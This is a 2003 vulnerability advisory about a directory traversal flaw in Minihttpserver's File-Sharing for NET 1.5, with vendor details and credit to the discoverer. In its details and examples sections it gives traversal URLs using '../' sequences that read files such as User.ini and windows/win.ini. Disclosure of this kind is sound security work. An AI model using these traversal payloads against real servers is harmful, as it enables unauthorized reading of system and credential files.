Minihttpserver File-Sharing for NET Directory Traversal Vulnerability

Affected Systems: File-Sharing for NET

version: 1.5 (and possibly earlier versions)

Vendor: Minihttpserver - http://www.minihttpserver.net

Issue: Directory Traversal Vulnerability

Released: 2 October 2003

Introduction:

=============

"File Sharing for net is a complete, secure web server that shares

your business documents and files over the web: remote users only

need browsers to view your files. Share, transfer files securely with

colleagues."

- Vendors Description

[ http://www.minihttpserver.net ]

Details:

========

File-Sharing for NET has a Directory Traversal Vulnerability Using

the string '../' or '..\' in a URL, an attacker can gain read access

to any file outside of the intended web-published file system

directory.

http://[target]/../../../existing_file

http://[target]\..\..\..\existing_file

Examples:

---------

http://127.0.0.1/../../../ Program Files/FileSharing for NET/User.ini

http://127.0.0.1/../../../windows/win.ini

Vendor status:

==============

The vendor has been informed, and they are fixing this bug.

The updated version, when released, can be downloaded from:

http://www.minihttpserver.net/fbbs.zip

Discovered by/Credit:

=====================

Bahaa Naamneh

b_naamneh (at) hotmail (dot) com [email concealed]

http://www.bsecurity.tk

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